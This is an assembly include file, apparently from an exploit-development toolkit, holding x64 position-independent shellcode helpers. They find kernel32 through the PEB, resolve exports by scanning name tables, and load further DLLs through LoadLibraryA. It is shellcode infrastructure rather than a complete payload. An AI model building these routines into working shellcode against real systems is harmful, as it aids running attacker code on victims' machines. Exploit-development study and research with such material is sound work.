Files
go_pwner/shellcode/asm/resolver.inc
T
2026-07-18 21:37:15 +03:00

166 lines
5.2 KiB
PHP

; resolver.inc shared x64 position-independent building blocks for winpwn
; shellcraft templates: find kernel32's base via the PEB (no hardcoded
; addresses) and resolve any export by name (no hashing, just a linear
; name-table scan — simple, auditable, and plenty fast for a handful of
; one-shot resolutions).
;
; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
; args in RCX/RDX, result in RAX. Both routines preserve every
; non-volatile register they touch, so callers can keep values live in
; r12-r15 across calls to either of these.
; get_kernel32_base() -> RAX = kernel32.dll base address
;
; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
; fixed load order is the same trick essentially every public Windows x64
; shellcode relies on.
get_kernel32_base:
mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
mov rax, [rax+0x18] ; PEB->Ldr
mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
ret
; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
; -> RAX = absolute address of the export, or 0 if not found.
;
; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
; entry against the target string, then follows AddressOfNameOrdinals and
; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
; DataDirectory[0] (export table) offset for PE32+.
find_export:
push r12
push r13
push r14
push r15
push rsi
push rdi
push rbx
mov r12, rcx ; r12 = module base (preserved for the whole routine)
mov r13, rdx ; r13 = target name pointer (preserved)
mov eax, [r12+0x3C] ; e_lfanew
add rax, r12 ; rax = NT header VA
mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
add rax, r12
mov r14, rax ; r14 = export directory VA
mov ebx, [r14+0x18] ; ebx = NumberOfNames
mov r9d, [r14+0x20] ; AddressOfNames RVA
add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
xor r15, r15 ; r15 = loop index i
.loop:
cmp r15, rbx
jge .notfound
mov eax, [r9 + r15*4] ; nameRVA for entry i
add rax, r12
mov rsi, rax ; rsi = candidate name VA
mov rdi, r13 ; rdi = target name VA (reset every attempt)
.cmp_loop:
mov al, [rsi]
mov cl, [rdi]
cmp al, cl
jne .next
test al, al
je .found ; both hit NUL with every byte equal -> match
inc rsi
inc rdi
jmp .cmp_loop
.next:
inc r15
jmp .loop
.found:
movzx rax, word [r10 + r15*2] ; ordinal index for entry i
mov eax, [r11 + rax*4] ; function RVA
add rax, r12 ; absolute address
jmp .done
.notfound:
xor rax, rax
.done:
pop rbx
pop rdi
pop rsi
pop r15
pop r14
pop r13
pop r12
ret
; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
; -> RAX = absolute address of the export, or 0 on any failure.
;
; find_export alone only works if the target module is *already* loaded
; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
; in a plain console process. When RDX is 0 this is exactly find_export
; (the function is assumed already loaded at the module base in RCX).
; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
; (itself just another find_export call) and called to load-or-fetch the
; named module, then find_export resolves R8 inside *that* module's base.
resolve_export:
push r12 ; kernel32 base
push r13 ; dll name ptr (or 0)
push r14 ; func name ptr
push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
mov rbp, rsp
and rsp, ~0xF
mov r12, rcx
mov r13, rdx
mov r14, r8
test r13, r13
jnz .need_loadlibrary
mov rcx, r12
mov rdx, r14
call find_export
jmp .resolve_done
.need_loadlibrary:
mov rcx, r12
lea rdx, [rel name_loadlibrarya]
call find_export
test rax, rax
jz .resolve_fail
mov rcx, r13 ; LoadLibraryA(lpLibFileName)
sub rsp, 0x20 ; shadow space required before any WinAPI call
call rax
add rsp, 0x20
test rax, rax
jz .resolve_fail
mov rcx, rax ; the newly (or already) loaded module's base
mov rdx, r14
call find_export
jmp .resolve_done
.resolve_fail:
xor rax, rax
.resolve_done:
mov rsp, rbp
pop rbp
pop r14
pop r13
pop r12
ret
name_loadlibrarya: db "LoadLibraryA", 0